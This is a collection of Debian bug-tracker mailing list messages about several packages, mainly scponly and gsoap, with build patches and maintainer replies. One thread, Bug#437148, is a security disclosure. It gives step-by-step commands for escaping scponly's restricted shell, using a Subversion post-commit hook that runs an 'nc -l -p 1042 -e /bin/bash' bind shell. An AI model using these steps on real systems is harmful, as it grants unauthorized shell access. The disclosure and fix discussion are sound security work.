caused many problems in the past, the last problem was only a few days before ( http://debianforum.de/forum/viewtopic.php?f=2t=109972 [german]). Now I can no more use any special keys of my keyboard. I am using a uptodate Debian Squeeze, which is updated nearly every day. But i doubt that this problem is caused by keytouch. Instead, I believe that another update is responsible for this. Because for some reason I am no longer getting any scancodes: $ LANG=C getkeycodes Plain scancodes xx (hex) versus keycodes (dec) for 1-0 (0x01-0x00) scancode equals keycode 0x00:0 1 - - - - - - 0x08:- - - - - - - - 0x10:- - - - - - - - 0x18:- - - - - - - - 0x20:- - - - - - - - 0x28:- - - - - - - - 0x30:- - - - - - - - 0x38:- - - - - - - - 0x40:- - - - - - - - 0x48:- - - - - - - - 0x50:- - - - - - - - 0x58:- - - - - - - - 0x60:- - - - - - - - 0x68:- - - - - - - - 0x70:- - - - - - - - 0x78:- - - - - - - - Escaped scancodes e0 xx (hex) e0 00:- - - - - - - - e0 08:- - - - - - - - e0 10:- - - - - - - - e0 18:- - - - - - - - e0 20:- - - - - - - - e0 28:- - - - - - - - e0 30:- - - - - - - - e0 38:- - - - - - - - e0 40:- - - - - - - - e0 48:- - - - - - - - e0 50:- - - - - - - - e0 58:- - - - - - - - e0 60:- - - - - - - - e0 68:- - - - - - - - e0 70:- - - - - - - - e0 78:- - - - - - - - Until now i could not find any solution for this problem in the web. Do you have a tip how i could get back these scancodes? Do you know how to solve these problem? -- System Information: Debian Release: squeeze/sid APT prefers testing APT policy: (650, 'testing'), (500, 'proposed-updates'), (100, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.26-wana083 Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages keytouch depends on: ii keytouch-data 2.3.2-2.1 keyboard definition files and docu ii libasound21.0.19-1 shared library for ALSA applicatio ii libatk1.0-0 1.24.0-2 The ATK accessibility toolkit ii libc6 2.9-4 GNU C Library: Shared libraries ii libglib2.0-0 2.20.0-2 The GLib library of C routines ii libgnome-menu22.24.2-2 an implementation of the freedeskt ii libgtk2.0-0 2.14.7-5 The GTK+ graphical user interface ii libx11-6 2:1.2.1-1 X11 client-side library ii libxtst6 2:1.0.3-1 X11 Testing -- Resource extension keytouch recommends no packages. Versions of packages keytouch suggests: ii keytouch-editor 1:3.1.3-2 create keyboard files for keytouch -- no debconf information -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#516003: segfault caused by umount.crypt after libpam-mount update
Package: libpam-mount Version: 1.9-1 Severity: important After upgrading libpam-mount from the latest Debian Lenny version (0.44-1+lenny3) to the latest Squeeze version (1.9-1) i get a segfault from umount.crypt everytime i logout. The encrypted directory is successfully unmounted, but i get this messages when logging out from tty1: pam_mount(mount.c:78): Command failed. [ 795.998232] umount.crypt[4650]: segfault at ed ip b7e5738b sp bffd3518 error 4 in libc-2.7.so[b7de1000+155000] pam_mount(mount.c:676): unmount of /my/encrypted.img failed Also the loop devices are not properly detached: $losetup -a /dev/loop0: [0901]:14450726 (/my/encrypted.img) /dev/loop1: [000d]:11227 (/dev/mapper/_my_encrypted_img) After the segfault from mount.crypt i am not able to log in again, until i did this: losetup -d /dev/loop1 cryptsetup luksClose /dev/mapper/_my_encrypted_img losetup -d /dev/loop0 In /etc/security/pam_mount.conf.xml i only changed debug to 1 and added the following line: volume fskeycipher=aes-256-cbc fskeyhash=sha512 options=fsck,noexec,nodev,nosuid,relatime,cipher=aes-cbc-essiv:sha256,keybits=256,hash=sha512 fskeypath=/my/encrypted.key user=MYUSERNAME mountpoint=/mnt/ path=/my/encrypted.img fstype=crypt / Has anyone an idea how to solve this problem? Best Regards, WANA -- System Information: Debian Release: 5.0 APT prefers testing APT policy: (650, 'testing'), (500, 'proposed-updates'), (100, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.26-wana081 Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/bash Versions of packages libpam-mount depends on: ii libc6 2.7-18GNU C Library: Shared libraries ii libhx182.3-1 A library providing queue, tree, I ii libpam0g 1.0.1-5 Pluggable Authentication Modules l ii libssl0.9.80.9.8g-15 SSL shared libraries ii libxml22.6.32.dfsg-5 GNOME XML library ii mount 2.13.1.1-1Tools for mounting and manipulatin libpam-mount recommends no packages. Versions of packages libpam-mount suggests: ii cryptsetup 2:1.0.6-7 configures encrypted block devices pn davfs2 none(no description available) ii fuse-utils 2.7.4-1.1 Filesystem in USErspace (utilities ii lsof 4.78.dfsg.1-4 List open files pn ncpfs none(no description available) ii openssl0.9.8g-15 Secure Socket Layer (SSL) binary a ii psmisc 22.6-1Utilities that use the proc filesy ii smbfs 2:3.2.5-4 mount and umount commands for the pn truecrypt-utilsnone(no description available) pn xfsprogs none(no description available) -- debconf information: * libpam-mount/convert-xml-config: false -- To UNSUBSCRIBE, email to debian-bugs-dist-requ...@lists.debian.org with a subject of unsubscribe. Trouble? Contact listmas...@lists.debian.org
Bug#437148: [scponly] svn support in scponly is unsafe
On 07.09.2007, at 11:01, Joachim Breitner wrote: Hi, Am Freitag, den 07.09.2007, 10:59 +0200 schrieb Florian Weimer: * Joachim Breitner: I think mounting the file system no-exec covers that. IIRC, Subversion directly executes the hook scripts, and this will fail in that case. Then this should be mentioned in the file. I also think that this is quite a high hurdle: Admins that want that can surely re-compile scponly. It's mentioned in the file (item 7), but I agree that this is not the target group of the Debian package. Sorry, didn’t read it all. For the rest, the debian package should come without svn support. The README.Debian could describe the disabled features, and under what circumstances they are save, and how best to recompile scponly. The package could create two binaries, one that supports just scp/sftp, and another one for the rest. Sounds good, but that’s up to the maintainer. Thomas, are you reading this? I am, I'm doing an overhaul of the package soon. Tom For the stable security update, it's probably best to just disable Subversion/Unison/rsync. I agree. Greetings, Joachim -- Joachim nomeata Breitner Debian Developer [EMAIL PROTECTED] | ICQ# 74513189 | GPG-Keyid: 4743206C JID: [EMAIL PROTECTED] | http://people.debian.org/~nomeata
Bug#441212: gsoap: New upstream version
Hi Steffen, On 07.09.2007, at 15:14, Steffen Moeller wrote: Package: gsoap Version: 2.7.9b-1.1 Severity: wishlist Hi Thomas, are you aware of version ...k to be out? Thanks, I'll be packaging the new version soon. Tom Kind regards Steffen -- System Information: Debian Release: lenny/sid APT prefers unstable APT policy: (500, 'unstable'), (500, 'testing'), (500, 'stable') Architecture: i386 (i686) Kernel: Linux 2.6.18-4-686 (SMP w/1 CPU core) Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Shell: /bin/sh linked to /bin/bash Versions of packages gsoap depends on: ii libc6 2.6.1-2GNU C Library: Shared libraries ii libgcc1 1:4.2.1-4 GCC support library ii libstdc++64.2.1-4The GNU Standard C++ Library v3 gsoap recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#437148: Security Hole in scponly, due to svn support
Hi Joachim, On 10.08.2007, at 19:54, Joachim Breitner wrote: Package: scponly Version: 4.6-1 X-Debbugs-CC: [EMAIL PROTECTED] Severity: grave Tags: security Hi Thomas Wana, messing around with some friends here, I tried to access his computer with only a scponly protected account. I discovered this way of gaining full shell access: Nice and creative way :-) Can you please get in touch with the scponly-mailinglist, this should be discussed there and fixed upstream. Tom I locally created a subversion repository /tmp/blubb with a /tmp/blubb/hooks/post-commit that contains the command: ( nc -l -p 1042 -e /bin/bash) I copy this repositry using scp -r /tmp/blubb/ [EMAIL PROTECTED]: Then I check out the repository remotely: ssh [EMAIL PROTECTED] /usr/bin/svn co file:///home/user/blubb bla Now I add a file and commit it: touch blah scp blah [EMAIL PROTECTED]:bla/ ssh [EMAIL PROTECTED] /usr/bin/svn ci bla At this point, I have a vim instance running, asking me for the commit message. I could now just run :!/bin/bash to get a shell, but having done the post-commit hook already, I want to use that, so I write something and quit the editor with :x At this point, I can use nc host 1042 and I have a shell for the account that should have none. The solution would be: Do not enable access to svn (or svnserve), which is a simple compilation option. I’d appreciate it if this gets fixed in debian etch. I have sent this information to [EMAIL PROTECTED] and scponly’s upstream maintainer last week, but have not yet gotten a response. Greetings, Joachim -- Joachim nomeata Breitner Debian Developer [EMAIL PROTECTED] | ICQ# 74513189 | GPG-Keyid: 4743206C JID: [EMAIL PROTECTED] | http://people.debian.org/~nomeata
Bug#407213: the 'error looking up user group' bug is still present
Hi, On 18.07.2007, at 00:41, Michael Prokop wrote: Hi, I just experienced and verified that problem on my own, the 'error looking up user group' problem is still present and prevents login and scp actions from clients using WinSCP. Whereas it worked fine using Debian sarge (version 4.0-1sarge1 of scponly) it does not work any longer with Debian etch (4.6-1) now. I reported the problem to upstream a few times, but no reaction (the latest upstream release of scponly dates back to January 2006). I'd suggest you post the problem on the scponly mailinglist. It clearly seems to be either an scponly or WinSCP bug, since the Debian package doesn't alter the code in any way (except for the chdir-patch, but I also tried the pristine upstream version where the problem exists too) Tom regards, -mika- -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#437148: Security Hole in scponly, due to svn support
On 02.09.2007, at 18:29, Florian Weimer wrote: * Joachim Breitner: This is an unfortunate interaction between scponly and Subversion, but not a real bug in any of the programs. The same problem arises when a scponly-restricted user uploads any form of executable contents. CGI scripts are more common (and their so-called PHP shells which are explicitly designed to exploit this). I think it’s more than that. If I upload some executable, I still have to find a way to actually execute it (e.g. a badly configured web server). Using subversion, I execute anything in _any case_, making scponly useless for it’s purpose. You need write permission on the Subversion repository. I think it's pretty obvious that you can change the Subversion hook scripts once you've got them. But you can upload a private repository, trigger the hook and remove it afterwards. I believe this is a real security problem, and I'm not quite sure how to fix this without disabling subversion support. But granted, I wouldn't call it a bug, too. It's no flaw in any of the programs involved, rather it is a constellation noone thought of before. There are tons of programs which will lead to a similar situation--basically anything that reads a user-specific configuration file. Well, reading a file is harmless compared to running arbitrary scripts. Tom
Bug#396500: Fixed in upstream (?)
It seems as if upstream fixed the issue: http://www.gossamer-threads.com/lists/spamassassin/commits/98698 Tom -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#337863: FTBFS (alpha): storage size of 'ht_data' isn't known
Falk Hueffner wrote: Hi, the problem is a bogus detection of Tru64. Patch: Thanks, I'm going to incorporate this in the next release. Tom --- gsoap-2.7.9b/soapcpp2/stdsoap2.h 2006-12-28 03:28:05.0 +0100 +++ gsoap-2.7.9b.hacked/soapcpp2/stdsoap2.h 2007-03-11 21:02:38.0 +0100 @@ -180,7 +180,7 @@ A commercial use license is available fr # endif #endif -#if defined(__alpha) !defined(__VMS) +#if defined (__digital__) defined (__unix__) # ifndef TRU64 # define TRU64 # endif -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#337863: No alpha
Hi, I'm sorry, due to the lack of access to an alpha machine I can't sort this out on my own. I'd just need to know what alpha #defines during a build (#ifdef ALPHA ...) and if and where (include-file) it has a struct hostent_data. Tom -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#353724: New package
Hi, I'm going to upload a new package with updated config.guess and config.sub files in the next hours; can you check if the problem persists? Thanks, Tom -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#407939: svnserve-compatibility for scponly
Package: scponly Version: 4.6-1 scponly should be built with --enable-svnserv-compat (sic) for svnserve to work with scponly. Tom -- Thomas Wana eMail: [EMAIL PROTECTED] UNIX Administrator, DeveloperTel.: (+43 1) 4277-14057 Vienna University Computer CenterFax.: (+43 1) 4277-9140 University of Vienna -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#404996: scponly: doesn't support rsync
Hi! Dan Christensen wrote: Maybe Debian can include the patch? Dan I'd like to wait for upstream to include the patch (or release a new version of scponly). Since scponly 4.6 is already a year old, I expect a new version to become available soon. Tom -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#402115: gsoap: Request newer version. 2.7.9a available. NMU packages available.
Hi! Christian Holm Christensen wrote: Package: gsoap Version: 2.7.6d-1 Severity: important *** Please type your report below this line *** Hello, I'd very much like if you could upload a new version of gSOAP to the archive. Version 2.7.9a is available and stable. I've made an NMU package of 2.7.9a. You can get it from deb http://mirror.phy.bnl.gov/debian-root unstable root deb-src: http://mirror.phy.bnl.gov/debian-root unstable root Thanks for your effort, I'll take a look at it this weekend! Tom -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#350964: CVE-2006-0225, scponly shell command possible
Hi, Geoff Crompton wrote: Just like to bring bug #350964 back to the limelight. Briefly recapping Feb 2, I created the bug report Feb 6, unstable fixed by Thomas Feb 13 DSA 969-1 released Feb 15 I questioned if sarge fixed, Thomas, Joey and Steve respond/discuss. At the moment it looks like Thomas is suggesting that DSA 969 didn't fix this bug, but did fix another bug, the CVE mentioned in the DSA. I don't know if Thomas is saying this based on the text of the DSA, or if he compared the actual package to the patch he suggested. It would be great to get confirmation that either the DSA did fix this bug, or that another DSA might be needed. I didn't check the CVE numbers now, but the current package in stable/ testing/unstable fixes both critical bugs that were discovered in scponly. Tom -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#350964: CVE-2006-0225, scponly shell command possible
Steve Kemp wrote: On Wed, Feb 15, 2006 at 02:01:51PM +1100, Geoff Crompton wrote: This bug has been closed for unstable (see bug 350964) with the 4.6 upload, but will it be fixed for sarge? Please see DSA-969-1 released two days ago: http://www.us.debian.org/security/2006/dsa-969 Sarge is fixed. No, this is about Bug #350964, not Bug #344418 (which is fixed in Sarge). Tom Steve -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#350964: CVE-2006-0225, scponly shell command possible
Hi, Geoff Crompton wrote: This bug has been closed for unstable (see bug 350964) with the 4.6 upload, but will it be fixed for sarge? Joey: I sent you a patch for that, but it seems you didn't include this in scponly-4.0sarge1. We also had no discussion about wether to include it or not. Please clarify. Tom -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#344418: CVE reference
Hi, I forwarded the bug info to the security team. No word yet. Your patch for stable seems fine, but in fact there is another security hole in scponly where there is no backported patch for 4.0 yet. I wrote the scponly author about this, again, no reply. Tom Max Vozeler wrote: This is CVE-2005-4532. BTW, did you have a chance to look at this bug yet? I'm considering to do an NMU for unstable, but I'd prefer if someone who actively uses scponly and who could test the changes would do the upload. cheers, Max -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#340465: [Fwd: Re: [Fwd: Bug#340465: cannot link correctly with ssl version of static gsoap lib]]
---BeginMessage--- Hi Thomas, Building libgsoap with dom.c/pp will lead to other link issues because dom.c/pp expects to be linked with soapC.c/pp and that's why I haven't included it in libgsoap. I'd like libgsoap to be reasonably independent of soapC.c/pp so that the calls are only one way (from soapC.c/pp to stdsoap2.c/pp and not back). Users reported these link problems when libgsoap included dom.c/pp. I'm not sure why the link error occurs, because soap_ssl_client_context isn't defined in dom.c Cheers, - Robert On Nov 23, 2005, at 2:51 PM, Thomas Wana wrote: Hi Robert, Just got this bug in, I suspect this is a bug in gsoap itself and not in my package. Tom Original Message Subject: Bug#340465: cannot link correctly with ssl version of static gsoap lib Resent-Date: Wed, 23 Nov 2005 16:33:01 UTC, Wed, 23 Nov 2005 08:33:04 -0800 Resent-From: John van der Kamp [EMAIL PROTECTED] Resent-To: debian-bugs-dist@lists.debian.org Resent-CC: Thomas Wana [EMAIL PROTECTED] Date: Wed, 23 Nov 2005 17:19:03 +0100 From: John van der Kamp [EMAIL PROTECTED] Reply-To: John van der Kamp [EMAIL PROTECTED], [EMAIL PROTECTED] To: Debian Bug Tracking System [EMAIL PROTECTED] Package: gsoap Version: 2.7.6c-1 Severity: normal While trying to link with -lgsoapssl++, there are still unresolved symbols: undefined reference to `soap_dom_current_nstr' undefined reference to `soap_ssl_client_context' This is because the dom.c/dom.cpp file is compiled in the source, but not included in the .a file. A patch for the Makefile* files is attached, which solves the problem. John -- System Information: Debian Release: testing/unstable APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.8-2-k7 Locale: LANG=en_GB, LC_CTYPE=en_GB Versions of packages gsoap depends on: ii libc6 2.3.5-6GNU C Library: Shared libraries an ii libgcc1 1:4.0.2-2 GCC support library ii libstdc++64.0.2-2The GNU Standard C++ Library v3 -- no debconf information diff -Nurb gsoap-2.7-orig/soapcpp2/Makefile.am gsoap-2.7/soapcpp2/Makefile.am --- gsoap-2.7-orig/soapcpp2/Makefile.am 2005-09-16 14:44:53.0 +0200 +++ gsoap-2.7/soapcpp2/Makefile.am 2005-10-27 14:45:33.779178592 +0200 @@ -37,9 +37,9 @@ libgsoapck_a_CFLAGS=$(SOAPCPP2_DEBUG) $(SOAPCPP2_NONAMESPACES) -D$(platform) -DWITH_COOKIES libgsoapck___a_SOURCES=stdsoap2_ck_cpp.cpp libgsoapck___a_CXXFLAGS=$(SOAPCPP2_DEBUG) $(SOAPCPP2_NONAMESPACES) -D$(platform) -DWITH_COOKIES -libgsoapssl_a_SOURCES=stdsoap2_ssl.c +libgsoapssl_a_SOURCES=stdsoap2_ssl.c dom.c libgsoapssl_a_CFLAGS=$(SOAPCPP2_DEBUG) $(SOAPCPP2_NONAMESPACES) -D$(platform) -DWITH_OPENSSL -DWITH_DOM -libgsoapssl___a_SOURCES=stdsoap2_ssl_cpp.cpp +libgsoapssl___a_SOURCES=stdsoap2_ssl_cpp.cpp dom.cpp libgsoapssl___a_CXXFLAGS=$(SOAPCPP2_DEBUG) $(SOAPCPP2_NONAMESPACES) -D$(platform) -DWITH_OPENSSL -DWITH_DOM BUILT_SOURCES=stdsoap2_cpp.cpp $(lib_LIBRARIES) diff -Nurb gsoap-2.7-orig/soapcpp2/Makefile.in gsoap-2.7/soapcpp2/Makefile.in --- gsoap-2.7-orig/soapcpp2/Makefile.in 2005-09-16 14:45:52.0 +0200 +++ gsoap-2.7/soapcpp2/Makefile.in 2005-10-27 14:46:47.896910984 +0200 @@ -111,9 +111,9 @@ libgsoapck_a_CFLAGS = $(SOAPCPP2_DEBUG) $(SOAPCPP2_NONAMESPACES) -D$(platform) -DWITH_COOKIES libgsoapck___a_SOURCES = stdsoap2_ck_cpp.cpp libgsoapck___a_CXXFLAGS = $(SOAPCPP2_DEBUG) $(SOAPCPP2_NONAMESPACES) -D$(platform) -DWITH_COOKIES -libgsoapssl_a_SOURCES = stdsoap2_ssl.c +libgsoapssl_a_SOURCES = stdsoap2_ssl.c dom.c libgsoapssl_a_CFLAGS = $(SOAPCPP2_DEBUG) $(SOAPCPP2_NONAMESPACES) -D$(platform) -DWITH_OPENSSL -DWITH_DOM -libgsoapssl___a_SOURCES = stdsoap2_ssl_cpp.cpp +libgsoapssl___a_SOURCES = stdsoap2_ssl_cpp.cpp dom.cpp libgsoapssl___a_CXXFLAGS = $(SOAPCPP2_DEBUG) $(SOAPCPP2_NONAMESPACES) -D$(platform) -DWITH_OPENSSL -DWITH_DOM BUILT_SOURCES = stdsoap2_cpp.cpp $(lib_LIBRARIES) @@ -143,11 +143,13 @@ libgsoapck_a_OBJECTS = $(am_libgsoapck_a_OBJECTS) libgsoapssl___a_AR = $(AR) cru libgsoapssl___a_LIBADD = -am_libgsoapssl___a_OBJECTS = libgsoapssl___a-stdsoap2_ssl_cpp.$(OBJEXT) +am_libgsoapssl___a_OBJECTS = libgsoapssl___a-stdsoap2_ssl_cpp.$(OBJEXT) \ + libgsoapssl___a-dom.$(OBJEXT) libgsoapssl___a_OBJECTS = $(am_libgsoapssl___a_OBJECTS) libgsoapssl_a_AR = $(AR) cru libgsoapssl_a_LIBADD = -am_libgsoapssl_a_OBJECTS = libgsoapssl_a-stdsoap2_ssl.$(OBJEXT) +am_libgsoapssl_a_OBJECTS = libgsoapssl_a-stdsoap2_ssl.$(OBJEXT) \ + libgsoapssl_a-dom.$(OBJEXT) libgsoapssl_a_OBJECTS = $(am_libgsoapssl_a_OBJECTS) DEFS = @DEFS@ @@ -161,7 +163,9 @@ @AMDEP_TRUE@ ./$(DEPDIR)/libgsoap_a-stdsoap2.Po \ @AMDEP_TRUE@ ./$(DEPDIR)/libgsoapck___a-stdsoap2_ck_cpp.Po \ @AMDEP_TRUE@ ./$(DEPDIR)/libgsoapck_a-stdsoap2_ck.Po \ [EMAIL PROTECTED]@ ./$(DEPDIR)/libgsoapssl___a-dom.Po \ @AMDEP_TRUE@ ./$(DEPDIR)/libgsoapssl___a-stdsoap2_ssl_cpp.Po
Bug#340449: scponlyc needs to be installed setuid root to work
scponly asks the user upon installation if he/she wants to set the binary suid root (via debconf). You probably set debconf's threshold too high or missed the question. Tom john duda wrote: Package: scponly Version: 4.0-1 attempts to log in with scponlyc as the shell will fail with a couldn't chroot to /home/user message logged in auth.log unless the scponlyc binary is manually chmod'd to setuid root. either the binary should be installed setuid root to begin with, or the /usr/share/doc/scponly/setup_chroot/setup_chroot.sh script should test for the setuid bit and print a warning if it is not correct. I'm using: Linux karl 2.6.8-2-686 #1 Thu May 19 17:53:30 JST 2005 i686 GNU/Linux and libc6 2.3.2.ds1-22 thanks, john -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#337863: Fwd: Bug#337863: FTBFS (alpha): storage size of 'ht_data' isn't known
Hi Robert, I just got word that gsoap fails to build on Alpha. Could this be an error that you already know about and might be fixed in a later version? #if defined(_AIXVERSION_431) || defined(TRU64) struct hostent_data ht_data; #endif These seem to be defined, yet the platform is lacking the ht_data struct. Any ideas? Tom Begin forwarded message: Resent-From: Falk Hueffner [EMAIL PROTECTED] From: Falk Hueffner [EMAIL PROTECTED] Date: 06. November 2005 23:55:39 GMT+01:00 Resent-To: debian-bugs-dist@lists.debian.org To: Debian Bug Tracking System [EMAIL PROTECTED] Resent-Cc: Thomas Wana [EMAIL PROTECTED] Subject: Bug#337863: FTBFS (alpha): storage size of 'ht_data' isn't known Reply-To: Falk Hueffner [EMAIL PROTECTED], [EMAIL PROTECTED] Package: gsoap Version: 2.7.6c-1 Severity: important Justification: fails to build from source gsoap fails to build on Alpha: [...] source='stdsoap2.c' object='libgsoap_a-stdsoap2.o' libtool=no \ depfile='.deps/libgsoap_a-stdsoap2.Po' tmpdepfile='.deps/libgsoap_a- stdsoap2.TPo' \ depmode=gcc3 /bin/sh ../depcomp \ alpha-linux-gnu-gcc -DHAVE_CONFIG_H -I. -I. -I.. -DLINUX -Wall -g -O2 -c -o libgsoap_a-stdsoap2.o `test -f 'stdsoap2.c' || echo './'`stdsoap2.c stdsoap2.c: In function 'tcp_gethost': stdsoap2.c:3048: error: storage size of 'ht_data' isn't known stdsoap2.c:3048: warning: unused variable 'ht_data' make[3]: *** [libgsoap_a-stdsoap2.o] Error 1 make[3]: Leaving directory `/tmp/gsoap-2.7.6c/soapcpp2' Full log at http://buildd.debian.org/fetch.php? pkg=gsoapver=2.7.6c-1arch=alphastamp=1127262240file=logas=raw -- System Information: Debian Release: testing/unstable APT prefers unstable APT policy: (500, 'unstable') Architecture: alpha Shell: /bin/sh linked to /bin/bash Kernel: Linux 2.6.13.2 Locale: LANG=C, [EMAIL PROTECTED] (charmap=ISO-8859-15) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296540: connection closed after authentication when using scponlyc
Ben Rasmussen wrote: Hi Tom, I am truly an idiot. After my last message I dug around a little more and realized that I had my /home partition mounted noexec. So, this is not a bug at all. I am really sorry for wasting your time with this. Thanks, Ben OK no problem, thanks for resolving it yourself :) Tom -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#296540: connection closed after authentication when using scponlyc
Ben Rasmussen wrote: Package: scponly Severity: important When using scponlyc, the connection is closed immediately following successful authentication. This is scponly 4.0-1 on a pure-sarge machine. setup-chroot.sh was used to create the user chroot. If user's shell is set to /usr/bin/scponly, user is able to connect. Hi, did you try to increase the /etc/scponly/debuglevel and look what's going on in the logs? Tom -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#295910: scponly: minor spelling error in man page
Rolf Leggewie wrote: Package: scponly Severity: minor There is a minor spelling mistake in the scponly man page. On line 26 it says each of which could could be set up. I think you see the redundancy. Thanks, thats indeed a redundancy :) Tom -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#293669: ITP: xen -- virtual machine monitor
Package: wnpp Severity: wishlist * Package name: xen Version : 2.0.4 Upstream Author : University of Cambridge Computer Laboratory [EMAIL PROTECTED] * URL : http://www.cl.cam.ac.uk/Research/SRG/netos/xen/ * License : GPL / BSD license Description : virtual machine monitor Xen is a virtual machine monitor for x86 that supports execution of multiple guest operating systems with unprecedented levels of performance and resource isolation. Any Linux distribution (RedHat, SuSE, Debian, Mandrake) should run unmodified over the ported OS. Xen can securely execute multiple virtual machines, each running its own OS, on a single physical system with close-to-native performance. -- System Information: Debian Release: 3.1 APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.10 Locale: LANG=en_US, LC_CTYPE=en_US (charmap=ISO-8859-1) -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#293669: acknowledged by developer (Re: Bug#293669: ITP: xen -- virtual machine monitor)
Hi, Debian Bug Tracking System wrote: [...] Er, no. xen 1.2 is already in unstable. Plus, I've been finishing up the xen 2.0 debs. I *just* got done rebasing my 2.0.3 debs against 2.0.4(which was just released today). Uh, my excuses for that. Somehow I was checking for *xen* on both packages.debian.org and bugs.debian.org/wnpp, but it seems I forgot a switch or something somewhere. Sorry again, wasn't meant to annoy you. I was already wondering why there is no maintainer for xen :) Tom ps: I'm the maintainer of xen 1.2. -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#292163: Wrong permissions on /etc/popularity-contest.conf
Package: popularity-contest Version: 1.26 Severity: minor Hi, the FAQ states: Q) What are the privacy consideration for popularity-contest ? A) Each popularity-contest host is identified by a random 128bit uuid (MY_HOSTID in /etc/popularity-contest). This uuid is used to track submission issued by the same host. It should be kept secret. Indeed, the permissions on /etc/popularity-contest.conf (this is a typo btw. in the FAQ) are: neptun:~# ls -l /etc/popularity-contest.conf -rw-r--r-- 1 root root 357 Jan 25 15:04 /etc/popularity-contest.conf which makes it world readable. The permissions should be adjusted. Thanks, Tom -- System Information: Debian Release: 3.1 APT prefers testing APT policy: (500, 'testing') Architecture: i386 (i686) Kernel: Linux 2.6.10 Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968) Versions of packages popularity-contest depends on: ii debconf 1.4.30.11 Debian configuration management sy ii dpkg 1.10.25Package maintenance system for Deb ii postfix [mail-transport-agent 2.1.5-4A high-performance mail transport -- debconf information: popularity-contest/hostid-failed: * popularity-contest/participate: false -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#290905: rsync fails with error when rsyncing to a remote host (file server) running rsyncd
Hi, ERROR: module is read only quick question, are the permissions correct on the other end? Tom -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]
Bug#290891: does not supply /usr/lib/libhttp_fetcher.so
Tags: patch The following patch fixes the problem. Tom --- debian/libhttpfetcher-dev.files.orig 2005-01-17 21:59:05.0 +0100 +++ debian/libhttpfetcher-dev.files2005-01-17 21:57:25.0 +0100 @@ -2,3 +2,4 @@ usr/share/doc/* usr/lib/lib*.a usr/share/man/man3/* +usr/lib/lib*.so -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of unsubscribe. Trouble? Contact [EMAIL PROTECTED]